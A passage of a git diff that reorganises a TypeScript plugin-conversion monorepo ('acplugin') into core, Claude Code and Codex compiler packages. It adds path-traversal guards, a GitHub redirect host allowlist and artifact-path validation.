downloadTarball(source: GitHubSource, tmpDir: string): Promise { - const proto = url.startsWith('https') ? https : http; - const req = proto.get(url, { + const parsed = new URL(url); + const allowedHosts = new Set(['api.github.com', 'github.com', 'codeload.github.com']); + if (parsed.protocol !== 'https:' || !allowedHosts.has(parsed.hostname)) { + reject(new Error('GitHub download redirect was rejected.')); + return; + } + const req = https.get(parsed, { headers: { 'User-Agent': 'acplugin/1.0', 'Accept': 'application/vnd.github+json', - ...(process.env.GITHUB_TOKEN ? { 'Authorization': `Bearer ${process.env.GITHUB_TOKEN}` } : {}), + ...(parsed.hostname === 'api.github.com' && process.env.GITHUB_TOKEN ? { Authorization: `Bearer ${process.env.GITHUB_TOKEN}` } : {}), }, }, (res) => { // Follow redirects diff --git a/src/scanner/claude.ts b/packages/acplugin/src/migration/legacy/scanner/claude.ts similarity index 100% rename from src/scanner/claude.ts rename to packages/acplugin/src/migration/legacy/scanner/claude.ts diff --git a/src/scanner/plugin.ts b/packages/acplugin/src/migration/legacy/scanner/plugin.ts similarity index 84% rename from src/scanner/plugin.ts rename to packages/acplugin/src/migration/legacy/scanner/plugin.ts index 114683b..9417a53 100644 --- a/src/scanner/plugin.ts +++ b/packages/acplugin/src/migration/legacy/scanner/plugin.ts @@ -1,8 +1,30 @@ import * as path from 'path'; +import * as fs from 'fs'; import { readFile, fileExists, listDirs, listFilesRecursive } from '../utils/fs.js'; import { scanSkillsDir, scanAgentsDir, scanCommandsDir, scanHooksJson, scanMCPJson } from './claude.js'; import type { PluginMeta, PluginScanResult, MarketplaceMeta, MarketplaceScanResult, MCPConfig, PluginResourceFile } from '../types.js'; +function isInside(root: string, candidate: string): boolean { + const relation = path.relative(root, candidate); + return relation === '' || (!path.isAbsolute(relation) && relation !== '..' && !relation.startsWith(`..${path.sep}`)); +} + +function resolveInside(root: string, value: string, label: string): string { + if (value.includes('\0') || path.isAbsolute(value)) + throw new Error(`${label} must be a relative path inside the plugin.`); + const resolved = path.resolve(root, value); + if (!isInside(path.resolve(root), resolved)) + throw new Error(`${label} must stay inside the plugin.`); + if (fs.existsSync(resolved)) { + const realRoot = fs.realpathSync(root); + const realResolved = fs.realpathSync(resolved); + if (!isInside(realRoot, realResolved)) + throw new Error(`${label} resolves outside the plugin.`); + return realResolved; + } + return resolved; +} + /** * Check if a directory contains a Claude Code plugin marketplace. */ @@ -53,7 +75,7 @@ export function scanMarketplace(rootDir: string): PluginMeta[] { const marketplace = scanMarketplaceMeta(rootDir); if (!marketplace) return []; - return marketplace.plugins.map((p) => ({ + return marketplace.plugins.map(p => ({ name: p.name, description: p.description, version: p.version, @@ -68,11 +90,10 @@ export function scanMarketplace(rootDir: string): PluginMeta[] { * and resolves to rootDir/plugins/my-plugin. */ export function resolvePluginDir(rootDir: string, source: string, pluginRoot?: string): string { - if (pluginRoot) { - return path.resolve(rootDir, pluginRoot, source); - } + if (pluginRoot) + return resolveInside(rootDir, path.join(pluginRoot, source), 'Marketplace plugin source'); // source is like "./plugins/code-review" or "./skills" - return path.resolve(rootDir, source); + return resolveInside(rootDir, source, 'Marketplace plugin source'); } /** @@ -86,25 +107,25 @@ export function scanPlugin(pluginDir: string, meta?: PluginMeta): PluginScanResu // Resolve resource paths: use custom paths from meta if available, fallback to defaults const skillsDir = resolvedMeta.skills - ? path.resolve(pluginDir, resolvedMeta.skills) + ? resolveInside(pluginDir, resolvedMeta.skills, 'Plugin skills path') : path.join(pluginDir, 'skills'); const agentsDir = resolvedMeta.agents - ? path.resolve(pluginDir, resolvedMeta.agents as string) + ? resolveInside(pluginDir, resolvedMeta.agents as string, 'Plugin agents path') : path.join(pluginDir, 'agents'); const commandsPath = resolvedMeta.commands; const commandsDir = typeof commandsPath === 'string' && !commandsPath.endsWith('.md') - ? path.resolve(pluginDir, commandsPath) + ? resolveInside(pluginDir, commandsPath, 'Plugin commands path') : path.join(pluginDir, 'commands'); const hooksPath = resolvedMeta.hooks - ? path.resolve(pluginDir, resolvedMeta.hooks) + ? resolveInside(pluginDir, resolvedMeta.hooks, 'Plugin Hooks path') : path.join(pluginDir, 'hooks', 'hooks.json'); // MCP: use custom path from meta, fallback to .mcp.json in plugin root const mcpPath = resolvedMeta.mcpServers - ? path.resolve(pluginDir, resolvedMeta.mcpServers) + ? resolveInside(pluginDir, resolvedMeta.mcpServers, 'Plugin MCP path') : path.join(pluginDir, '.mcp.json'); const mcpConfig = scanMCPJson(mcpPath); @@ -193,7 +214,7 @@ function scanMCPReferencedFiles(pluginDir: string, mcp: MCPConfig | null): Plugi const files: PluginResourceFile[] = []; for (const dirName of referencedDirs) { - const dirPath = path.join(pluginDir, dirName); + const dirPath = resolveInside(pluginDir, dirName, 'MCP referenced path'); if (!fileExists(dirPath)) continue; for (const file of listFilesRecursive(dirPath)) { const content = readFile(file); @@ -295,8 +316,8 @@ export function scanAllPlugins(rootDir: string): PluginScanResult[] { } // Only include plugins that have actual resources - const resourceCount = result.skills.length + result.agents.length + - result.commands.length + (result.hooks ? Object.keys(result.hooks).length : 0); + const resourceCount = result.skills.length + result.agents.length + + result.commands.length + (result.hooks ? Object.keys(result.hooks).length : 0); if (resourceCount > 0) { results.push(result); } @@ -320,7 +341,7 @@ export function scanMarketplaceFull(rootDir: string): MarketplaceScanResult | nu * Count total resources in a PluginScanResult. */ export function countResources(scan: PluginScanResult): number { - return scan.skills.length + scan.agents.length + - scan.commands.length + (scan.hooks ? Object.keys(scan.hooks).length : 0) + - scan.instructions.length + (scan.mcp ? scan.mcp.servers.length : 0); + return scan.skills.length + scan.agents.length + + scan.commands.length + (scan.hooks ? Object.keys(scan.hooks).length : 0) + + scan.instructions.length + (scan.mcp ? scan.mcp.servers.length : 0); } diff --git a/src/types.ts b/packages/acplugin/src/migration/legacy/types.ts similarity index 66% rename from src/types.ts rename to packages/acplugin/src/migration/legacy/types.ts index e7508c8..f29b421 100644 --- a/src/types.ts +++ b/packages/acplugin/src/migration/legacy/types.ts @@ -1,39 +1,22 @@ -// Target platforms -export type Platform = 'codex' | 'opencode' | 'cursor' | 'antigravity' | 'pi'; - -// --- Platform resource paths (single source of truth) --- -// These must match the actual output paths in each platform's writer/converter. - -export interface PlatformPaths { - pluginJson: string; // manifest output path - marketplaceJson?: string; // marketplace output path - skills?: string; // skills directory reference - agents?: string; // agents directory reference - commands?: string; // commands directory reference - instructions?: string; // instructions file reference - mcp?: string; // MCP config reference - hooks?: string; // hooks config reference -} - -// --- Skill --- +// Tolerant input types used only by the isolated Migration scanner. export interface SkillFrontmatter { - name?: string; - description?: string; + 'name'?: string; + 'description'?: string; 'when_to_use'?: string; 'argument-hint'?: string; - arguments?: unknown; + 'arguments'?: unknown; 'disable-model-invocation'?: boolean; 'user-invocable'?: boolean; 'allowed-tools'?: string; 'disallowed-tools'?: string; - model?: string; - effort?: string; - context?: string; - agent?: string; - background?: boolean; - paths?: string | string[]; - shell?: string; - hooks?: Record; + 'model'?: string; + 'effort'?: string; + 'context'?: string; + 'agent'?: string; + 'background'?: boolean; + 'paths'?: string | string[]; + 'shell'?: string; + 'hooks'?: Record; } export interface SkillAuxFile { @@ -49,7 +32,6 @@ export interface Skill { auxFiles: SkillAuxFile[]; } -// --- Instruction --- export interface Instruction { fileName: string; content: string; @@ -57,7 +39,6 @@ export interface Instruction { isRule: boolean; // true if from .claude/rules/ } -// --- MCP Server --- export interface MCPServer { name: string; command?: string; @@ -73,7 +54,6 @@ export interface MCPConfig { sourcePath: string; } -// --- Agent --- export interface AgentFrontmatter { name?: string; description?: string; @@ -100,14 +80,12 @@ export interface Agent { sourcePath: string; } -// --- Command --- export interface Command { name: string; content: string; sourcePath: string; } -// --- Hook --- export interface HookEntry { type: string; command?: string; @@ -123,7 +101,6 @@ export interface Hooks { [event: string]: HookMatcher[]; } -// --- Plugin Interface (Marketplace display metadata) --- export interface PluginInterface { displayName?: string; shortDescription?: string; @@ -141,7 +118,6 @@ export interface PluginInterface { screenshots?: string[]; } -// --- Plugin --- export interface PluginMeta { name: string; description?: string; @@ -165,7 +141,6 @@ export interface PluginMeta { interface?: PluginInterface; } -// --- Marketplace --- export interface MarketplaceMeta { name: string; version?: string; @@ -183,13 +158,11 @@ export interface MarketplacePluginEntry { category?: string; } -// --- Plugin Resource File --- export interface PluginResourceFile { - relativePath: string; // relative to plugin root, e.g. "scripts/mcp-server/start.js" + relativePath: string; // relative to plugin root, e.g. "scripts/mcp-server/start.js" content: string; } -// --- Scan Result --- export interface ScanResult { skills: Skill[]; instructions: Instruction[]; @@ -197,7 +170,7 @@ export interface ScanResult { agents: Agent[]; commands: Command[]; hooks: Hooks | null; - pluginFiles: PluginResourceFile[]; // plugin-level resource files (scripts/, etc.) + pluginFiles: PluginResourceFile[]; // plugin-level resource files (scripts/, etc.) rootDir: string; } @@ -209,16 +182,3 @@ export interface MarketplaceScanResult { marketplace: MarketplaceMeta; plugins: PluginScanResult[]; } - -// --- Convert Result --- -export interface ConvertedFile { - path: string; - content: string; - type: 'skill' | 'instruction' | 'mcp' | 'agent' | 'command' | 'hook' | 'manifest' | 'resource'; -} - -export interface ConvertResult { - platform: Platform; - files: ConvertedFile[]; - warnings: string[]; -} diff --git a/src/utils/frontmatter.ts b/packages/acplugin/src/migration/legacy/utils/frontmatter.ts similarity index 100% rename from src/utils/frontmatter.ts rename to packages/acplugin/src/migration/legacy/utils/frontmatter.ts diff --git a/src/utils/fs.ts b/packages/acplugin/src/migration/legacy/utils/fs.ts similarity index 100% rename from src/utils/fs.ts rename to packages/acplugin/src/migration/legacy/utils/fs.ts diff --git a/packages/acplugin/tsconfig.json b/packages/acplugin/tsconfig.json new file mode 100644 index 0000000..e523885 --- /dev/null +++ b/packages/acplugin/tsconfig.json @@ -0,0 +1,8 @@ +{ + "extends": "../../tsconfig.base.json", + "compilerOptions": { + "exactOptionalPropertyTypes": false, + "noUncheckedIndexedAccess": false + }, + "include": ["src/**/*.ts", "test/**/*.ts"] +} diff --git a/packages/acplugin/tsdown.config.ts b/packages/acplugin/tsdown.config.ts new file mode 100644 index 0000000..e22085d --- /dev/null +++ b/packages/acplugin/tsdown.config.ts @@ -0,0 +1,28 @@ +import { defineConfig } from 'tsdown'; +import { fileURLToPath } from 'node:url'; + +export default defineConfig({ + entry: { + index: fileURLToPath(new URL('./src/index.ts', import.meta.url)), + cli: fileURLToPath(new URL('./src/cli.ts', import.meta.url)), + }, + format: ['esm'], + platform: 'node', + target: 'node20', + dts: true, + clean: true, + sourcemap: false, + publint: true, + attw: { profile: 'esm-only', level: 'error' }, + deps: { + alwaysBundle: [ + '@acplugin/core', + '@acplugin/compiler-claude-code', + '@acplugin/compiler-codex', + ], + onlyBundle: [ + 'semver', + 'yaml', + ], + }, +}); diff --git a/packages/compiler-claude-code/package.json b/packages/compiler-claude-code/package.json new file mode 100644 index 0000000..e882356 --- /dev/null +++ b/packages/compiler-claude-code/package.json @@ -0,0 +1,20 @@ +{ + "name": "@acplugin/compiler-claude-code", + "version": "0.0.0", + "private": true, + "type": "module", + "engines": { "node": ">=20" }, + "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, + "scripts": { + "build": "tsdown", + "test": "vitest run --passWithNoTests", + "typecheck": "tsc -p tsconfig.json" + }, + "dependencies": { "@acplugin/core": "workspace:*" }, + "devDependencies": { + "@types/node": "catalog:", + "tsdown": "catalog:", + "typescript": "catalog:", + "vitest": "catalog:" + } +} diff --git a/packages/compiler-claude-code/src/index.ts b/packages/compiler-claude-code/src/index.ts new file mode 100644 index 0000000..92dcf82 --- /dev/null +++ b/packages/compiler-claude-code/src/index.ts @@ -0,0 +1,120 @@ +import { + bytesArtifact, + markdownWithFrontmatter, + stableJson, + type AgentCapability, + type Compiler, + type CompilerContext, + type CompilerOutput, +} from '@acplugin/core'; + +export const CLAUDE_CODE_TARGET = 'claude-code'; + +const RESERVED_MANIFEST_FIELDS = new Set([ + 'name', 'version', 'description', 'commands', 'skills', 'agents', +]); + +function mergeManifestFields(context: CompilerContext, manifest: Record): void { + const owners = new Map(); + for (const { module, contribution } of context.contributions) { + for (const [key, value] of Object.entries(contribution.manifestFields ?? {})) { + if (RESERVED_MANIFEST_FIELDS.has(key)) + throw new Error(`Module ${module} cannot replace reserved manifest field ${key}.`); + const owner = owners.get(key); + if (owner) + throw new Error(`Manifest field ${key} is contributed by both ${owner} and ${module}.`); + owners.set(key, module); + manifest[key] = value; + } + } +} + +function claudeTools(capabilities: readonly AgentCapability[]): string[] { + const result = new Set(); + for (const capability of capabilities) { + for (const tool of ({ + 'filesystem:read': ['Read', 'Glob', 'Grep'], + 'filesystem:write': ['Write', 'Edit'], + 'search': ['Glob', 'Grep', 'WebSearch'], + 'shell': ['Bash'], + 'network': ['WebFetch', 'WebSearch'], + 'delegate': ['Agent'], + } satisfies Record)[capability]) + result.add(tool); + } + return [...result].sort(); +} + +function claudeModel(model: 'inherit' | 'fast' | 'capable'): string { + if (model === 'fast') + return 'haiku'; + if (model === 'capable') + return 'sonnet'; + return 'inherit'; +} + +export const claudeCodeCompiler: Compiler = { + id: CLAUDE_CODE_TARGET, + async compile(context): Promise { + const artifacts = []; + const compatibility = []; + const { project } = context; + + for (const command of project.commands) { + const frontmatter: Record = { description: command.description }; + if (command.argumentHint) + frontmatter['argument-hint'] = command.argumentHint; + artifacts.push(bytesArtifact( + `commands/${command.id}.md`, + markdownWithFrontmatter(frontmatter, command.body.replaceAll('{{arguments}}', '$ARGUMENTS')), + )); + compatibility.push({ target: CLAUDE_CODE_TARGET, subject: `command:${command.id}`, capability: 'component', level: 'native', reason: 'Claude Code supports plugin Commands.' } as const); + } + + for (const skill of project.skills) { + artifacts.push(bytesArtifact(`skills/${skill.id}/SKILL.md`, markdownWithFrontmatter({ + 'name': skill.id, + 'description': skill.description, + 'user-invocable': skill.invocation.user, + 'disable-model-invocation': !skill.invocation.model, + }, skill.body))); + for (const auxiliary of skill.auxiliaryFiles) { + artifacts.push({ + path: `skills/${skill.id}/${auxiliary.path}`, + source: { type: 'file' as const, path: auxiliary.sourcePath }, + mode: auxiliary.mode, + }); + } + compatibility.push({ target: CLAUDE_CODE_TARGET, subject: `skill:${skill.id}`, capability: 'component', level: 'native', reason: 'Claude Code supports plugin Skills.' } as const); + } + + for (const agent of project.agents) { + const tools = claudeTools(agent.capabilities); + artifacts.push(bytesArtifact(`agents/${agent.id}.md`, markdownWithFrontmatter({ + name: agent.id, + description: agent.description, + model: claudeModel(agent.model), + tools: tools.length > 0 ? tools : undefined, + }, agent.body))); + compatibility.push({ target: CLAUDE_CODE_TARGET, subject: `agent:${agent.id}`, capability: 'component', level: 'native', reason: 'Claude Code supports plugin Agents.' } as const); + } + + const manifest: Record = { + name: project.name, + version: project.version, + description: project.description, + }; + if (project.commands.length > 0) + manifest.commands = './commands/'; + if (project.skills.length > 0) + manifest.skills = './skills/'; + if (project.agents.length > 0) + manifest.agents = './agents/'; + mergeManifestFields(context, manifest); + artifacts.push(bytesArtifact('.claude-plugin/plugin.json', stableJson(manifest))); + + return { artifacts, compatibility }; + }, +}; + +export default claudeCodeCompiler; diff --git a/packages/compiler-claude-code/tsconfig.json b/packages/compiler-claude-code/tsconfig.json new file mode 100644 index 0000000..6ece4d3 --- /dev/null +++ b/packages/compiler-claude-code/tsconfig.json @@ -0,0 +1,4 @@ +{ + "extends": "../../tsconfig.base.json", + "include": ["src/**/*.ts", "test/**/*.ts"] +} diff --git a/packages/compiler-claude-code/tsdown.config.ts b/packages/compiler-claude-code/tsdown.config.ts new file mode 100644 index 0000000..1533d6b --- /dev/null +++ b/packages/compiler-claude-code/tsdown.config.ts @@ -0,0 +1,12 @@ +import { defineConfig } from 'tsdown'; +import { fileURLToPath } from 'node:url'; + +export default defineConfig({ + entry: [fileURLToPath(new URL('./src/index.ts', import.meta.url))], + format: ['esm'], + platform: 'node', + target: 'node20', + dts: true, + clean: true, + sourcemap: false, +}); diff --git a/packages/compiler-codex/package.json b/packages/compiler-codex/package.json new file mode 100644 index 0000000..f1b9b0f --- /dev/null +++ b/packages/compiler-codex/package.json @@ -0,0 +1,20 @@ +{ + "name": "@acplugin/compiler-codex", + "version": "0.0.0", + "private": true, + "type": "module", + "engines": { "node": ">=20" }, + "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, + "scripts": { + "build": "tsdown", + "test": "vitest run --passWithNoTests", + "typecheck": "tsc -p tsconfig.json" + }, + "dependencies": { "@acplugin/core": "workspace:*" }, + "devDependencies": { + "@types/node": "catalog:", + "tsdown": "catalog:", + "typescript": "catalog:", + "vitest": "catalog:" + } +} diff --git a/packages/compiler-codex/src/index.ts b/packages/compiler-codex/src/index.ts new file mode 100644 index 0000000..94cfad0 --- /dev/null +++ b/packages/compiler-codex/src/index.ts @@ -0,0 +1,165 @@ +import { + bytesArtifact, + markdownWithFrontmatter, + stableJson, + stableYaml, + type Compiler, + type CompilerContext, + type CompilerOutput, + type Component, +} from '@acplugin/core'; + +export const CODEX_TARGET = 'codex'; + +const RESERVED_MANIFEST_FIELDS = new Set(['name', 'version', 'description', 'skills']); + +function mergeManifestFields(context: CompilerContext, manifest: Record): void { + const owners = new Map(); + for (const { module, contribution } of context.contributions) { + for (const [key, value] of Object.entries(contribution.manifestFields ?? {})) { + if (RESERVED_MANIFEST_FIELDS.has(key)) + throw new Error(`Module ${module} cannot replace reserved manifest field ${key}.`); + const owner = owners.get(key); + if (owner) + throw new Error(`Manifest field ${key} is contributed by both ${owner} and ${module}.`); + owners.set(key, module); + manifest[key] = value; + } + } +} + +function requiresAgent(component: Component, byKey: ReadonlyMap, seen = new Set()): boolean { + const key = `${component.kind}:${component.id}`; + if (seen.has(key)) + return false; + seen.add(key); + if (component.requires.agents.length > 0) + return true; + return component.requires.skills.some((id) => { + const dependency = byKey.get(`skill:${id}`); + return dependency ? requiresAgent(dependency, byKey, seen) : false; + }); +} + +function skillMetadata(modelInvocation: boolean): string | undefined { + if (modelInvocation) + return undefined; + return `${stableYaml({ policy: { allow_implicit_invocation: false } })}\n`; +} + +export const codexCompiler: Compiler = { + id: CODEX_TARGET, + async compile(context): Promise { + const artifacts = []; + const compatibility = []; + const generatedIds = new Map(); + const allComponents: Component[] = [...context.project.commands, ...context.project.skills, ...context.project.agents]; + const byKey = new Map(allComponents.map(component => [`${component.kind}:${component.id}`, component])); + + const reserve = (id: string, subject: string): void => { + const collision = generatedIds.get(id.toLocaleLowerCase('en-US')); + if (collision) + throw new Error(`Generated Codex Skill ID collision: ${collision} and ${subject} both use ${id}.`); + generatedIds.set(id.toLocaleLowerCase('en-US'), subject); + }; + + for (const skill of context.project.skills) { + reserve(skill.id, `skill:${skill.id}`); + artifacts.push(bytesArtifact(`skills/${skill.id}/SKILL.md`, markdownWithFrontmatter({ + name: skill.id, + description: skill.description, + }, skill.body))); + const metadata = skillMetadata(skill.invocation.model); + if (metadata) + artifacts.push(bytesArtifact(`skills/${skill.id}/agents/openai.yaml`, metadata)); + for (const auxiliary of skill.auxiliaryFiles) { + artifacts.push({ + path: `skills/${skill.id}/${auxiliary.path}`, + source: { type: 'file' as const, path: auxiliary.sourcePath }, + mode: auxiliary.mode, + }); + } + if (!skill.invocation.user) { + compatibility.push({ + target: CODEX_TARGET, + subject: `skill:${skill.id}`, + capability: 'invocation.user', + level: 'degraded', + transformation: 'The Skill remains explicitly invocable.', + reason: 'Codex Skill metadata cannot disable explicit user invocation.', + } as const); + } else { + compatibility.push({ target: CODEX_TARGET, subject: `skill:${skill.id}`, capability: 'component', level: 'native', reason: 'Codex supports plugin Skills.' } as const); + } + } + + for (const command of context.project.commands) { + const id = `command-${command.id}`; + reserve(id, `command:${command.id}`); + artifacts.push(bytesArtifact(`skills/${id}/SKILL.md`, markdownWithFrontmatter({ + name: id, + description: command.description, + }, command.body.replaceAll('{{arguments}}', 'the arguments supplied with this explicit invocation')))); + artifacts.push(bytesArtifact(`skills/${id}/agents/openai.yaml`, skillMetadata(false)!)); + compatibility.push({ + target: CODEX_TARGET, + subject: `command:${command.id}`, + capability: 'component', + level: 'transform', + transformation: `Explicit Skill ${id}`, + reason: 'Codex represents Commands as explicitly invoked Skills.', + } as const); + } + + for (const agent of context.project.agents) { + const id = `agent-${agent.id}`; + reserve(id, `agent:${agent.id}`); + const guidance = [ + agent.body, + '', + `Intended model class: ${agent.model}.`, + `Intended capabilities: ${agent.capabilities.join(', ') || 'none declared'}.`, + 'When delegation is available, use a focused subagent with this role. These settings are guidance, not enforced registration.', + ].join('\n'); + artifacts.push(bytesArtifact(`skills/${id}/SKILL.md`, markdownWithFrontmatter({ + name: id, + description: agent.description, + }, guidance))); + compatibility.push({ + target: CODEX_TARGET, + subject: `agent:${agent.id}`, + capability: 'component', + level: 'degraded', + transformation: `Model-only fallback Skill ${id}`, + reason: 'Codex installable plugins cannot register project/user custom Agents; model and capability enforcement are lost.', + } as const); + } + + for (const component of allComponents) { + if (component.kind !== 'agent' && requiresAgent(component, byKey)) { + compatibility.push({ + target: CODEX_TARGET, + subject: `${component.kind}:${component.id}`, + capability: 'requires.agents', + level: 'degraded', + reason: 'A required Agent is degraded to a fallback Skill on Codex.', + causes: component.requires.agents.map(id => `agent:${id}`), + } as const); + } + } + + const manifest: Record = { + name: context.project.name, + version: context.project.version, + description: context.project.description, + }; + if (generatedIds.size > 0) + manifest.skills = './skills/'; + mergeManifestFields(context, manifest); + artifacts.push(bytesArtifact('.codex-plugin/plugin.json', stableJson(manifest))); + + return { artifacts, compatibility }; + }, +}; + +export default codexCompiler; diff --git a/packages/compiler-codex/tsconfig.json b/packages/compiler-codex/tsconfig.json new file mode 100644 index 0000000..6ece4d3 --- /dev/null +++ b/packages/compiler-codex/tsconfig.json @@ -0,0 +1,4 @@ +{ + "extends": "../../tsconfig.base.json", + "include": ["src/**/*.ts", "test/**/*.ts"] +} diff --git a/packages/compiler-codex/tsdown.config.ts b/packages/compiler-codex/tsdown.config.ts new file mode 100644 index 0000000..1533d6b --- /dev/null +++ b/packages/compiler-codex/tsdown.config.ts @@ -0,0 +1,12 @@ +import { defineConfig } from 'tsdown'; +import { fileURLToPath } from 'node:url'; + +export default defineConfig({ + entry: [fileURLToPath(new URL('./src/index.ts', import.meta.url))], + format: ['esm'], + platform: 'node', + target: 'node20', + dts: true, + clean: true, + sourcemap: false, +}); diff --git a/packages/core/package.json b/packages/core/package.json new file mode 100644 index 0000000..08d3e4e --- /dev/null +++ b/packages/core/package.json @@ -0,0 +1,24 @@ +{ + "name": "@acplugin/core", + "version": "0.0.0", + "private": true, + "type": "module", + "engines": { "node": ">=20" }, + "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, + "scripts": { + "build": "tsdown", + "test": "vitest run --passWithNoTests", + "typecheck": "tsc -p tsconfig.json" + }, + "dependencies": { + "semver": "catalog:", + "yaml": "catalog:" + }, + "devDependencies": { + "@types/node": "catalog:", + "@types/semver": "catalog:", + "tsdown": "catalog:", + "typescript": "catalog:", + "vitest": "catalog:" + } +} diff --git a/packages/core/src/artifacts.ts b/packages/core/src/artifacts.ts new file mode 100644 index 0000000..719458e --- /dev/null +++ b/packages/core/src/artifacts.ts @@ -0,0 +1,101 @@ +import { createHash } from 'node:crypto'; +import { createReadStream } from 'node:fs'; +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { Artifact, ArtifactInput, ArtifactMode } from './types.js'; + +function normalizeArtifactPath(value: string): string { + if (value.includes('\\')) + throw new Error(`Artifact path must use POSIX separators: ${value}`); + if (path.posix.isAbsolute(value)) + throw new Error(`Artifact path must be relative: ${value}`); + const normalized = path.posix.normalize(value).normalize('NFC'); + if (normalized === '.' || normalized === '' || normalized === '..' || normalized.startsWith('../')) + throw new Error(`Artifact path escapes the target root: ${value}`); + return normalized; +} + +function isInside(root: string, candidate: string): boolean { + const relative = path.relative(root, candidate); + return relative === '' || (!path.isAbsolute(relative) && relative !== '..' && !relative.startsWith(`..${path.sep}`)); +} + +export async function hashFile(file: string): Promise<{ sha256: string; size: number }> { + const hash = createHash('sha256'); + let size = 0; + await new Promise((resolve, reject) => { + const stream = createReadStream(file); + stream.on('data', (chunk) => { + size += typeof chunk === 'string' ? Buffer.byteLength(chunk) : chunk.length; + hash.update(chunk); + }); + stream.on('error', reject); + stream.on('end', resolve); + }); + return { sha256: hash.digest('hex'), size }; +} + +export class ArtifactGraph { + readonly #artifacts = new Map(); + readonly #normalizedPaths = new Map(); + readonly #allowedSourceRoots: readonly string[]; + + constructor(allowedSourceRoots: readonly string[]) { + this.#allowedSourceRoots = allowedSourceRoots.map(root => path.resolve(root)); + } + + get artifacts(): readonly Artifact[] { + return [...this.#artifacts.values()].sort((a, b) => a.path.localeCompare(b.path, 'en')); + } + + async add(owner: string, input: ArtifactInput): Promise { + const artifactPath = normalizeArtifactPath(input.path); + const collisionKey = artifactPath.toLocaleLowerCase('en-US').normalize('NFC'); + const existingPath = this.#normalizedPaths.get(collisionKey); + if (existingPath) + throw new Error(`Artifact collision between "${existingPath}" and "${artifactPath}".`); + + const mode: ArtifactMode = input.mode ?? 0o644; + if (mode !== 0o644 && mode !== 0o755) + throw new Error(`Unsupported Artifact mode for ${artifactPath}.`); + + let size: number; + let sha256: string; + let source: Artifact['source']; + if (input.source.type === 'bytes') { + const value = Uint8Array.from(input.source.value); + size = value.byteLength; + sha256 = createHash('sha256').update(value).digest('hex'); + source = Object.freeze({ type: 'bytes', value }); + } else { + const sourcePath = path.resolve(input.source.path); + if (!this.#allowedSourceRoots.some(root => isInside(root, sourcePath))) + throw new Error(`Artifact source is outside allowed roots: ${input.source.path}`); + const stat = await fs.lstat(sourcePath); + if (stat.isSymbolicLink() || !stat.isFile()) + throw new Error(`Artifact source must be a regular non-symlink file: ${input.source.path}`); + ({ size, sha256 } = await hashFile(sourcePath)); + source = Object.freeze({ type: 'file', path: sourcePath }); + } + + const artifact: Artifact = Object.freeze({ + path: artifactPath, + source, + owner, + mode, + size, + sha256, + }); + this.#artifacts.set(artifactPath, artifact); + this.#normalizedPaths.set(collisionKey, artifactPath); + return artifact; + } +} + +export function bytesArtifact(pathname: string, content: string | Uint8Array, mode?: ArtifactMode): ArtifactInput { + const value = typeof content === 'string' ? new TextEncoder().encode(content) : content; + const artifact: ArtifactInput = { path: pathname, source: { type: 'bytes', value } }; + if (mode !== undefined) + artifact.mode = mode; + return artifact; +} diff --git a/packages/core/src/builder.ts b/packages/core/src/builder.ts new file mode 100644 index 0000000..d5b1215 --- /dev/null +++ b/packages/core/src/builder.ts @@ -0,0 +1,282 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { ArtifactGraph } from './artifacts.js'; +import { applyCompatibilityStrictness, DiagnosticCollector, sanitizeReportText, sortCompatibility } from './diagnostics.js'; +import { scanProject } from './scanner.js'; +import { commitManagedOutput, validateMaterialization } from './transaction.js'; +import type { + AcpluginModule, + Artifact, + ArtifactReportEntry, + BuildReport, + BuildRequest, + BuildResult, + CompatibilityEntry, + Diagnostic, + ModuleBaseContext, + PluginProject, + TargetContribution, + TargetId, +} from './types.js'; + +interface ModuleRuntime { + module: AcpluginModule; + workDir: string; + state: unknown; + builtState: unknown; +} + +function sortModules(modules: readonly AcpluginModule[]): AcpluginModule[] { + const byName = new Map(modules.map(module => [module.name, module])); + const configuredIndex = new Map(modules.map((module, index) => [module.name, index])); + const result: AcpluginModule[] = []; + const visiting = new Set(); + const visited = new Set(); + + const visit = (module: AcpluginModule, stack: string[]): void => { + if (visited.has(module.name)) + return; + if (visiting.has(module.name)) + throw new Error(`Module dependency cycle: ${[...stack, module.name].join(' -> ')}`); + visiting.add(module.name); + for (const dependency of module.dependsOn ?? []) { + const target = byName.get(dependency); + if (!target) + throw new Error(`Module "${module.name}" requires missing module "${dependency}".`); + visit(target, [...stack, module.name]); + } + visiting.delete(module.name); + visited.add(module.name); + result.push(module); + }; + + for (const module of [...modules].sort((a, b) => (configuredIndex.get(a.name) ?? 0) - (configuredIndex.get(b.name) ?? 0))) + visit(module, []); + return result; +} + +function dependencyMap( + runtime: ModuleRuntime, + all: ReadonlyMap, + field: 'state' | 'builtState', +): ReadonlyMap { + return new Map((runtime.module.dependsOn ?? []).map(name => [name, all.get(name)?.[field]])); +} + +function moduleContext( + request: BuildRequest, + diagnostics: DiagnosticCollector, + runtime: ModuleRuntime, + all: ReadonlyMap, +): ModuleBaseContext { + return { + config: request.config, + diagnostics, + loadTypeScriptModule: request.loadTypeScriptModule, + workDir: runtime.workDir, + dependencyState: dependencyMap(runtime, all, 'state'), + dependencyBuiltState: dependencyMap(runtime, all, 'builtState'), + }; +} + +function createReport( + request: BuildRequest, + project: PluginProject | undefined, + diagnostics: readonly Diagnostic[], + compatibility: readonly CompatibilityEntry[], + artifacts: readonly ArtifactReportEntry[], + committed: boolean, +): BuildReport { + return { + schemaVersion: '1', + command: request.config.command, + mode: request.config.mode, + project: { name: request.config.name, version: request.config.version }, + targets: request.config.targets.map(target => target.id), + diagnostics, + compatibility: sortCompatibility(compatibility), + artifacts: request.config.command === 'validate' + ? [] + : [...artifacts].sort((a, b) => a.target.localeCompare(b.target, 'en') || a.path.localeCompare(b.path, 'en')), + success: !diagnostics.some(diagnostic => diagnostic.severity === 'error') && project !== undefined, + committed, + }; +} + +export async function buildProject(request: BuildRequest): Promise { + const diagnostics = new DiagnosticCollector(); + const compatibility: CompatibilityEntry[] = []; + const artifactReports: ArtifactReportEntry[] = []; + const targetArtifacts = new Map(); + const runtimeRoot = await fs.mkdtemp(path.join(request.config.root, '.acplugin-work-')); + const runtimes = new Map(); + const initialized: ModuleRuntime[] = []; + let project: PluginProject | undefined; + let originalError: unknown; + let committed = false; + let finalized = false; + + const finalizeModules = async (cause: unknown): Promise => { 